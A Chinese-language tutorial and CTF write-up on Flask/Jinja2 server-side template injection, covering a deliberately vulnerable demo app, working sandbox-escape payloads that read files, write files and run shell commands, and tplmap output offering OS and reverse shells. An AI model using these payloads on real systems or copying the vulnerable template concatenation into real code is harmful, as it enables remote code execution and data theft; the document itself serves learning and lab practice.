SSTI(模板注入)
SSTI
一. 什么是SSTI
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。
SSTI就是服务器端模板注入(Server-Side Template Injection)和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
二. flask/ssti漏洞
flask/ssti漏洞,完整叫法应该是: Flask(Jinja2) 服务端模板注入漏洞(SSTI)
1. flask
Flask 是一个使用 Python 编写的轻量级 Web 应用框架。模板引擎使用 Jinja2 。
Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
flask简单易学,下面代码是flask版的hello world
from flask import Flask # 初始化
app = Flask(__name__) # 初始化
@app.route("/") # route装饰器 访问http://xxx.xx.xx时,使用hello函数进行处理响应
def hello():
return "Hello World!"
if __name__ == "__main__":
app.run()
2. 模板
定义一个模板
<html>
<div>{$what}</div>
</html>
这只是一个模板,{$what}
是数据。
我们可以使用相应的后端代码传入内容,得到新的html页面
3. Jinja2
a. 变量
Jinja2 使用{{name}}
结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。
Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。
Hello, {{ name|capitalize }}
b. if&for语句
if语句简单示例
{% if user %}
Hello,{{user}} !
{% else %}
Hello,Stranger!
{% endif %}
for语句循环渲染一组元素
<ul>
{% for comment in comments %}
<li>{{comment}}</li>
{% endfor %}
</ul>
三. 漏洞分析
1. 复现过程
使用 vulhub 提供的环境进行复现:
前端页面为:
源代码为:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
2. 原因分析
t = Template("Hello " + name)
这行代码表示,将输入的name拼接到模板,此时name的输入没有经过任何检测,尝试使用模板语言测试:
3. 漏洞利用
使用官方提供的 poc 测试:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
Jinja2使用沙盒模板执行环境
4. python沙盒逃逸
a. python相关知识
# __class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
# __bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值
>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
# __subclasses__():查看当前类的子类。
>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, ·····]
# __globals__以dict形式返回函数所在模块命名空间中的所有变量
b. 一些常用的方法
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
构造payload执行ls命令:
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}
四. tplmap
D:\T00LS\CLT\tplmap>python tplmap.py -u "http://10.10.10.200:8000/?name=asdf"
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name // 说明可以注入,同时给出了详细信息
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok // 检验出这些利用方法对于目标环境是否可用
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options: //可以利用下面这些参数进行进一步的操作
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
五. CTF中的题目
题目提示此题为python模板注入,使用{{2*2}}
进行测试
1. 手工方法
构建payload:
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat fl4g').read()") }}
{% endif %}
{% endfor %}
得到flag
2. 脚本
D:\T00LS\CLT\tplmap>python tplmap.py -u "http://111.198.29.45:46889/*" --os-shell
URL parameter: url
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux2
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Run commands on the operating system.
posix-linux2 $ ls
fl4g
index.py
posix-linux2 $ cat fl4g
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
posix-linux2 $
参考文章
SSTI完全学习
flask ssti漏洞复现
SSTI(模板注入)的更多相关文章
- XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip
转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...
- GYCTF Flaskapp[SSTI模板注入 ]
题目复现传送门 学习链接: 找了个师傅的blog先学习一下基础的flask知识 https://www.freebuf.com/column/187845.html(从零学flask) 简单记录一下: ...
- 2018护网杯easy_tornado(SSTI tornado render模板注入)
考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...
- SSTI(服务器模板注入)学习
SSTI(服务器模板注入)学习 0x01 SSTI概念 SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造).SSTI就是服务器端模板注入(Server-Side Templ ...
- SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1
ssti服务器模板注入 ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构. slo ...
- 1. SSTI(模板注入)漏洞(入门篇)
好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...
- CTF SSTI(服务器模板注入)
目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...
- SSTI服务端模板注入漏洞原理详解及利用姿势集锦
目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...
- Flask(Jinja2) 服务端模板注入漏洞(SSTI)
flask Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面.博客.wiki.基于 we ...
随机推荐
- 如何在本地搭建微信小程序服务器
现在开发需要购买服务器,价格还是有点贵的,可以花费小代价就可以搭建一个服务器,可以用来开发小程序,博客等. 1.域名(备案过的) 2.阿里云注册免费的https证书 3.配置本地的nginx 4.内网 ...
- iOSdelegate、Notification、block区别
1.delegate与block一般用于1对1的通信交互.delegate需先定义好协议方法,代理对象实现协议方法且需要建立代理关系才可以通信. 2.block使用简洁,如果通信事件较多,建议使用de ...
- Maven和Gradle如何添加依赖
仓库地址:https://mvnrepository.com
- 034.Kubernetes集群安全-Secret
一 secret概述 1.1 secret作用 Secret对象,主要作用是保管私密数据,比如密码.OAuth Tokens.SSH Keys等信息.将这些私密信息放在Secret对象中比直接放在Po ...
- Android学习笔记.9.png格式图片
.9.png可以保证图片在合适的位置进行局部拉伸,避免了图片全局缩放造成的图片变形问题.AS提供了制作点9图片的便捷入口,并且会检查你的.9图是否有不合理的拉伸区域. 选中图片点击create 9-p ...
- cb02a_c++_数据结构_顺序容器_STL_list类_双向链表
/*cb02a_c++_数据结构_顺序容器_STL_list类_双向链表实例化std::list对象在list开头插入元素在list末尾插入元素在list中间插入元素,插入时间恒定,非常快.数组:中间 ...
- Springboot项目整合Swagger2报错
SpringBoot2.2.6整合swagger2.2.2版本的问题,启动SpringBoot报如下错: Error starting ApplicationContext. To display t ...
- 关于 JOIN 耐心总结,学不会你打我系列
现在随着各种数据库框架的盛行,在提高效率的同时也让我们忽略了很多底层的连接过程,这篇文章是对 SQL 连接过程梳理,并涉及到了现在常用的 SQL 标准. 其实标准就是在不同的时间,制定的一些写法或规范 ...
- Beta冲刺<8/10>
这个作业属于哪个课程 软件工程 (福州大学至诚学院 - 计算机工程系) 这个作业要求在哪里 Beta冲刺 这个作业的目标 Beta冲刺--第八天(05.26) 作业正文 如下 其他参考文献 ... B ...
- debug PostgreSQL 9.6.18 using Eclipse IDE on CentOS7
目录 debug PostgreSQL 9.6.18 using Eclipse IDE on CentOS7 1.概览 2.建立用户 3.编译postgre 4.启动Eclipse 5.设置环境变量 ...